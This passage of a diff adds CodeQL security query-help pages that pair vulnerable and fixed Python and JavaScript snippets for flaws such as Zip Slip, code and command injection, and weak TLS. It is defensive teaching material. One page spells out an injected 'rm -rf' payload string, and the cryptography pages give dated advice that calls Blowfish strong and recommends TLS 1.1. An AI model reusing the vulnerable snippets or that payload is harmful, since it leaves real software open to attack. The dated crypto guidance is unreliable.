+* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing). +* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://www.vsecurity.com//download/publications/XMLDTDEntityAttacks.pdf). +* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf). +* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). +* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ZipSlip.md b/docs/language/query-help/javascript/ZipSlip.md new file mode 100644 index 00000000000..390c5a75aca --- /dev/null +++ b/docs/language/query-help/javascript/ZipSlip.md @@ -0,0 +1,68 @@ +# Arbitrary file write during zip extraction ("Zip Slip") + +``` +ID: js/zipslip +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-022/ZipSlip.ql) + +Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a zip archive entry is to check that `".."` does not occur in the path. + + +## Example +In this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory. + + +```javascript +const fs = require('fs'); +const unzip = require('unzip'); + +fs.createReadStream('archive.zip') + .pipe(unzip.Parse()) + .on('entry', entry => { + const fileName = entry.path; + // BAD: This could write any file on the filesystem. + entry.pipe(fs.createWriteStream(fileName)); + }); + +``` +To fix this vulnerability, we need to check that the path does not contain any `".."` elements in it. + + +```javascript +const fs = require('fs'); +const unzip = require('unzip'); + +fs.createReadStream('archive.zip') + .pipe(unzip.Parse()) + .on('entry', entry => { + const fileName = entry.path; + // GOOD: ensures the path is safe to write to. + if (fileName.indexOf('..') == -1) { + entry.pipe(fs.createWriteStream(fileName)); + } + else { + console.log('skipping bad path', fileName); + } + }); + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/python.rst b/docs/language/query-help/python.rst new file mode 100644 index 00000000000..d71129bb318 --- /dev/null +++ b/docs/language/query-help/python.rst @@ -0,0 +1,4 @@ +Python query help +================= + +.. include:: toc-python.rst \ No newline at end of file diff --git a/docs/language/query-help/python/BindToAllInterfaces.md b/docs/language/query-help/python/BindToAllInterfaces.md new file mode 100644 index 00000000000..72fc269813a --- /dev/null +++ b/docs/language/query-help/python/BindToAllInterfaces.md @@ -0,0 +1,44 @@ +# Binding a socket to all network interfaces + +``` +ID: py/bind-socket-all-network-interfaces +Kind: problem +Severity: error +Precision: high +Tags: security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CVE-2018-1281/BindToAllInterfaces.ql) + +Sockets can be used to communicate with other machines on a network. You can use the (IP address, port) pair to define the access restrictions for the socket you create. When using the built-in Python `socket` module (for instance, when building a message sender service or an FTP server data transmitter), one has to bind the port to some interface. When you bind the port to all interfaces using `0.0.0.0` as the IP address, you essentially allow it to accept connections from any IPv4 address provided that it can get to the socket via routing. Binding to all interfaces is therefore associated with security risks. + + +## Recommendation +Bind your service incoming traffic only to a dedicated interface. If you need to bind more than one interface using the built-in `socket` module, create multiple sockets (instead of binding to one socket to all interfaces). + + +## Example +In this example, two sockets are insecure because they are bound to all interfaces; one through the `0.0.0.0` notation and another one through an empty string `''`. + + +```python +import socket + +# binds to all interfaces, insecure +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.bind(('0.0.0.0', 31137)) + +# binds to all interfaces, insecure +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.bind(('', 4040)) + +# binds only to a dedicated interface, secure +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.bind(('84.68.10.12', 8080)) + +``` + +## References +* Python reference: [ Socket families](https://docs.python.org/3/library/socket.html#socket-families). +* Python reference: [ Socket Programming HOWTO](https://docs.python.org/3.7/howto/sockets.html). +* Common Vulnerabilities and Exposures: [ CVE-2018-1281 Detail](https://nvd.nist.gov/vuln/detail/CVE-2018-1281). \ No newline at end of file diff --git a/docs/language/query-help/python/BrokenCryptoAlgorithm.md b/docs/language/query-help/python/BrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..3291fe7ac4c --- /dev/null +++ b/docs/language/query-help/python/BrokenCryptoAlgorithm.md @@ -0,0 +1,49 @@ +# Use of a broken or weak cryptographic algorithm + +``` +ID: py/weak-cryptographic-algorithm +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing. + + +## Example +The following code uses the `pycrypto` library to encrypt some secret data. When you create a cipher using `pycrypto` you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses Blowfish, which is a stronger more modern algorithm. + + +```python +from Crypto.Cipher import DES, Blowfish + +cipher = DES.new(SECRET_KEY) + +def send_encrypted(channel, message): + channel.send(cipher.encrypt(message)) # BAD: weak encryption + + +cipher = Blowfish.new(SECRET_KEY) + +def send_encrypted(channel, message): + channel.send(cipher.encrypt(message)) # GOOD: strong encryption + + +``` +WARNING: Although the second example above is more robust, pycrypto is no longer actively maintained so we recommend using `cryptography` instead. + + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CleartextLogging.md b/docs/language/query-help/python/CleartextLogging.md new file mode 100644 index 00000000000..7f576178857 --- /dev/null +++ b/docs/language/query-help/python/CleartextLogging.md @@ -0,0 +1,49 @@ +# Clear-text logging of sensitive information + +``` +ID: py/clear-text-logging-sensitive-data +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-312/CleartextLogging.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. + + +## Example +The following example code stores user credentials (in this case, their password) in a cookie in plain text: + + +```python +from flask import Flask, make_response, request + +app = Flask("Leak password") + +@app.route('/') +def index(): + password = request.args.get("password") + resp = make_response(render_template(...)) + resp.set_cookie("password", password) + return resp + +``` +Instead, the credentials should be encrypted, for instance by using the `cryptography` module, or not stored at all. + + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CleartextStorage.md b/docs/language/query-help/python/CleartextStorage.md new file mode 100644 index 00000000000..970672f9e29 --- /dev/null +++ b/docs/language/query-help/python/CleartextStorage.md @@ -0,0 +1,49 @@ +# Clear-text storage of sensitive information + +``` +ID: py/clear-text-storage-sensitive-data +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-312/CleartextStorage.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. + + +## Example +The following example code stores user credentials (in this case, their password) in a cookie in plain text: + + +```python +from flask import Flask, make_response, request + +app = Flask("Leak password") + +@app.route('/') +def index(): + password = request.args.get("password") + resp = make_response(render_template(...)) + resp.set_cookie("password", password) + return resp + +``` +Instead, the credentials should be encrypted, for instance by using the `cryptography` module, or not stored at all. + + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CodeInjection.md b/docs/language/query-help/python/CodeInjection.md new file mode 100644 index 00000000000..f9899607756 --- /dev/null +++ b/docs/language/query-help/python/CodeInjection.md @@ -0,0 +1,51 @@ +# Code injection + +``` +ID: py/code-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/owasp/owasp-a1 external/cwe/cwe-094 external/cwe/cwe-095 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-094/CodeInjection.ql) + +Directly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is passed to code that interprets it as an expression to be evaluated, such as `eval` or `exec`. + + +## Recommendation +Avoid including user input in any expression that may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur. + + +## Example +The following example shows two functions setting a name from a request. The first function uses `exec` to execute the `setname` function. This is dangerous as it can allow a malicious user to execute arbitrary code on the server. For example, the user could supply the value `"' + subprocess.call('rm -rf') + '"` to destroy the server's file system. The second function calls the `setname` function directly and is thus safe. + + +```python + +urlpatterns = [ + # Route to code_execution + url(r'^code-ex1$', code_execution_bad, name='code-execution-bad'), + url(r'^code-ex2$', code_execution_good, name='code-execution-good') +] + +def code_execution(request): + if request.method == 'POST': + first_name = base64.decodestring(request.POST.get('first_name', '')) + #BAD -- Allow user to define code to be run. + exec("setname('%s')" % first_name) + +def code_execution(request): + if request.method == 'POST': + first_name = base64.decodestring(request.POST.get('first_name', '')) + #GOOD --Call code directly + setname(first_name) + +``` + +## References +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). +* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CommandInjection.md b/docs/language/query-help/python/CommandInjection.md new file mode 100644 index 00000000000..d57d32e1556 --- /dev/null +++ b/docs/language/query-help/python/CommandInjection.md @@ -0,0 +1,56 @@ +# Uncontrolled command line + +``` +ID: py/command-line-injection +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/owasp/owasp-a1 external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-078/CommandInjection.ql) + +Code that passes user input directly to `exec`, `eval`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or the library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows two functions. The first is unsafe as it takes a shell script that can be changed by a user, and passes it straight to `subprocess.call()` without examining it first. The second is safe as it selects the command from a predefined allowlist. + + +```python + +urlpatterns = [ + # Route to command_execution + url(r'^command-ex1$', command_execution_unsafe, name='command-execution-unsafe'), + url(r'^command-ex2$', command_execution_safe, name='command-execution-safe') +] + +COMMANDS = { + "list" :"ls", + "stat" : "stat" +} + +def command_execution_unsafe(request): + if request.method == 'POST': + action = request.POST.get('action', '') + #BAD -- No sanitizing of input + subprocess.call(["application", action]) + +def command_execution_safe(request): + if request.method == 'POST': + action = request.POST.get('action', '') + #GOOD -- Use an allowlist + subprocess.call(["application", COMMANDS[action]]) + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/python/FlaskDebug.md b/docs/language/query-help/python/FlaskDebug.md new file mode 100644 index 00000000000..146b8677c06 --- /dev/null +++ b/docs/language/query-help/python/FlaskDebug.md @@ -0,0 +1,41 @@ +# Flask app is run in debug mode + +``` +ID: py/flask-debug +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-215 external/cwe/cwe-489 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-215/FlaskDebug.ql) + +Running a Flask application with debug mode enabled may allow an attacker to gain access through the Werkzeug debugger. + + +## Recommendation +Ensure that Flask applications that are run in a production environment have debugging disabled. + + +## Example +Running the following code starts a Flask webserver that has debugging enabled. By visiting `/crash`, it is possible to gain access to the debugger, and run arbitrary code through the interactive debugger. + + +```python +from flask import Flask + +app = Flask(__name__) + +@app.route('/crash') +def main(): + raise Exception() + +app.run(debug=True) + +``` + +## References +* Flask Quickstart Documentation: [Debug Mode](http://flask.pocoo.org/docs/1.0/quickstart/#debug-mode). +* Werkzeug Documentation: [Debugging Applications](http://werkzeug.pocoo.org/docs/0.14/debug/). +* Common Weakness Enumeration: [CWE-215](https://cwe.mitre.org/data/definitions/215.html). +* Common Weakness Enumeration: [CWE-489](https://cwe.mitre.org/data/definitions/489.html). \ No newline at end of file diff --git a/docs/language/query-help/python/HardcodedCredentials.md b/docs/language/query-help/python/HardcodedCredentials.md new file mode 100644 index 00000000000..728dd363a9c --- /dev/null +++ b/docs/language/query-help/python/HardcodedCredentials.md @@ -0,0 +1,65 @@ +# Hard-coded credentials + +``` +ID: py/hardcoded-credentials +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-798/HardcodedCredentials.ql) + +Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. + +Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. + +For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + +For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. + +For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, `hashlib.pbkdf2_hmac`. + + +## Example +The following examples shows different types of inbound and outbound authentication. + +In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be rewritten and redeployed in order to change the password. + +In the second case, the password is compared to a hashed and salted password stored in a configuration file, using `hashlib.pbkdf2_hmac`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. + +In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. + + +```python +import hashlib +import binascii + +def process_request(request): + password = request.GET["password"] + + # BAD: Inbound authentication made by comparison to string literal + if password == "myPa55word": + redirect("login") + + hashed_password = load_from_config('hashed_password', CONFIG_FILE) + salt = load_from_config('salt', CONFIG_FILE) + + #GOOD: Inbound authentication made by comparing to a hash password from a config file. + dk = hashlib.pbkdf2_hmac('sha256', password, salt, 100000) + hashed_input = binascii.hexlify(dk) + if hashed_input == hashed_password: + redirect("login") + + +``` + +## References +* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/python/IncompleteHostnameRegExp.md b/docs/language/query-help/python/IncompleteHostnameRegExp.md new file mode 100644 index 00000000000..541b45e5651 --- /dev/null +++ b/docs/language/query-help/python/IncompleteHostnameRegExp.md @@ -0,0 +1,56 @@ +# Incomplete regular expression for hostnames + +``` +ID: py/incomplete-hostname-regexp +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-020/IncompleteHostnameRegExp.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. + +If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds. + + +## Recommendation +Escape all meta-characters appropriately when constructing regular expressions for security checks, pay special attention to the `.` meta-character. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. + + +```python +from flask import Flask, request, redirect +import re + +app = Flask(__name__) + +UNSAFE_REGEX = re.compile("(www|beta).example.com/") +SAFE_REGEX = re.compile(r"(www|beta)\.example\.com/") + +@app.route('/some/path/bad') +def unsafe(request): + target = request.args.get('target', '') + if UNSAFE_REGEX.match(target): + return redirect(target) + +@app.route('/some/path/good') +def safe(request): + target = request.args.get('target', '') + if SAFE_REGEX.match(target): + return redirect(target) + +``` +The `unsafe` check is easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. + +The `safe` check closes this vulnerability by escaping the `.` so that URLs of the form `wwwXexample.com` are rejected. + + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md b/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md new file mode 100644 index 00000000000..bf6ebcfd3bb --- /dev/null +++ b/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md @@ -0,0 +1,88 @@ +# Incomplete URL substring sanitization + +``` +ID: py/incomplete-url-substring-sanitization +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-020/IncompleteUrlSubstringSanitization.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts. + +However, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location. + +Even if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally. + + +## Recommendation +Parse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain. + + +```python +from flask import Flask, request, redirect +from urllib.parse import urlparse + +app = Flask(__name__) + +# Not safe, as "evil-example.net/example.com" would be accepted + +@app.route('/some/path/bad1') +def unsafe1(request): + target = request.args.get('target', '') + if "example.com" in target: + return redirect(target) + +# Not safe, as "benign-looking-prefix-example.com" would be accepted + +@app.route('/some/path/bad2') +def unsafe2(request): + target = request.args.get('target', '') + if target.endswith("example.com"): + return redirect(target) + + + +#Simplest and safest approach is to use an allowlist + +@app.route('/some/path/good1') +def safe1(request): + allowlist = [ + "example.com/home", + "example.com/login", + ] + target = request.args.get('target', '') + if target in allowlist: + return redirect(target) + +#More complex example allowing sub-domains. + +@app.route('/some/path/good2') +def safe2(request): + target = request.args.get('target', '') + host = urlparse(target).hostname + #Note the '.' preceding example.com + if host and host.endswith(".example.com"): + return redirect(target) + + +``` +The first two examples show unsafe checks that are easily bypassed. In `unsafe1` the attacker can simply add `example.com` anywhere in the url. For example, `http://evil-example.net/example.com`. + +In `unsafe2` the attacker must use a hostname ending in `example.com`, but that is easy to do. For example, `http://benign-looking-prefix-example.com`. + +The second two examples show safe checks. In `safe1`, an allowlist is used. Although fairly inflexible, this is easy to get right and is most likely to be safe. + +In `safe2`, `urlparse` is used to parse the URL, then the hostname is checked to make sure it ends with `.example.com`. + + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureDefaultProtocol.md b/docs/language/query-help/python/InsecureDefaultProtocol.md new file mode 100644 index 00000000000..721d6175cd0 --- /dev/null +++ b/docs/language/query-help/python/InsecureDefaultProtocol.md @@ -0,0 +1,44 @@ +# Default version of SSL/TLS may be insecure + +``` +ID: py/insecure-default-protocol +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/InsecureDefaultProtocol.ql) + +The `ssl` library defaults to an insecure version of SSL/TLS when no specific protocol version is specified. This may leave the connection vulnerable to attack. + + +## Recommendation +Ensure that a modern, strong protocol is used. All versions of SSL, and TLS 1.0 are known to be vulnerable to attacks. Using TLS 1.1 or above is strongly recommended. If no explicit `ssl_version` is specified, the default `PROTOCOL_TLS` is chosen. This protocol is insecure and should not be used. + + +## Example +The following code shows two different ways of setting up a connection using SSL or TLS. They are both potentially insecure because the default version is used. + + +```python +import ssl +import socket + +# Using the deprecated ssl.wrap_socket method +ssl.wrap_socket(socket.socket()) + +# Using SSLContext +context = ssl.SSLContext() + +``` +Both of the cases above should be updated to use a secure protocol instead, for instance by specifying `ssl_version=PROTOCOL_TLSv1_1` as a keyword argument. + +Note that `ssl.wrap_socket` has been deprecated in Python 3.7. A preferred alternative is to use `ssl.SSLContext`, which is supported in Python 2.7.9 and 3.2 and later versions. + + +## References +* Wikipedia: [ Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security). +* Python 3 documentation: [ class ssl.SSLContext](https://docs.python.org/3/library/ssl.html#ssl.SSLContext). +* Python 3 documentation: [ ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureProtocol.md b/docs/language/query-help/python/InsecureProtocol.md new file mode 100644 index 00000000000..2972d701178 --- /dev/null +++ b/docs/language/query-help/python/InsecureProtocol.md @@ -0,0 +1,53 @@ +# Use of insecure SSL/TLS version + +``` +ID: py/insecure-protocol +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/InsecureProtocol.ql) + +Using a broken or weak cryptographic protocol may make a connection vulnerable to interference from an attacker. + + +## Recommendation +Ensure that a modern, strong protocol is used. All versions of SSL, and TLS 1.0 are known to be vulnerable to attacks. Using TLS 1.1 or above is strongly recommended. + + +## Example +The following code shows a variety of ways of setting up a connection using SSL or TLS. They are all insecure because of the version specified. + + +```python +import ssl +import socket + +# Using the deprecated ssl.wrap_socket method +ssl.wrap_socket(socket.socket(), ssl_version=ssl.PROTOCOL_SSLv2) + +# Using SSLContext +context = ssl.SSLContext(ssl_version=ssl.PROTOCOL_SSLv3) + +# Using pyOpenSSL + +from pyOpenSSL import SSL + +context = SSL.Context(SSL.TLSv1_METHOD) + + + +``` +All cases should be updated to use a secure protocol, such as `PROTOCOL_TLSv1_1`. + +Note that `ssl.wrap_socket` has been deprecated in Python 3.7. A preferred alternative is to use `ssl.SSLContext`, which is supported in Python 2.7.9 and 3.2 and later versions. + + +## References +* Wikipedia: [ Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security). +* Python 3 documentation: [ class ssl.SSLContext](https://docs.python.org/3/library/ssl.html#ssl.SSLContext). +* Python 3 documentation: [ ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket). +* pyOpenSSL documentation: [ An interface to the SSL-specific parts of OpenSSL](https://pyopenssl.org/en/stable/api/ssl.html). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureTemporaryFile.md b/docs/language/query-help/python/InsecureTemporaryFile.md new file mode 100644 index 00000000000..d34f4eac039 --- /dev/null +++ b/docs/language/query-help/python/InsecureTemporaryFile.md @@ -0,0 +1,51 @@ +# Insecure temporary file + +``` +ID: py/insecure-temporary-file +Kind: problem +Severity: error +Precision: high +Tags: external/cwe/cwe-377 security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-377/InsecureTemporaryFile.ql) + +Functions that create temporary file names (such as `tempfile.mktemp` and `os.tempnam`) are fundamentally insecure, as they do not ensure exclusive access to a file with the temporary name they return. The file name returned by these functions is guaranteed to be unique on creation but the file must be opened in a separate operation. There is no guarantee that the creation and open operations will happen atomically. This provides an opportunity for an attacker to interfere with the file before it is opened. + +Note that `mktemp` has been deprecated since Python 2.3. + + +## Recommendation +Replace the use of `mktemp` with some of the more secure functions in the `tempfile` module, such as `TemporaryFile`. If the file is intended to be accessed from other processes, consider using the `NamedTemporaryFile` function. + + +## Example +The following piece of code opens a temporary file and writes a set of results to it. Because the file name is created using `mktemp`, another process may access this file before it is opened using `open`. + + +```python +from tempfile import mktemp + +def write_results(results): + filename = mktemp() + with open(filename, "w+") as f: + f.write(results) + print("Results written to", filename) + +``` +By changing the code to use `NamedTemporaryFile` instead, the file is opened immediately. + + +```python +from tempfile import NamedTemporaryFile + +def write_results(results): + with NamedTemporaryFile(mode="w+", delete=False) as f: + f.write(results) + print("Results written to", f.name) + +``` + +## References +* Python Standard Library: 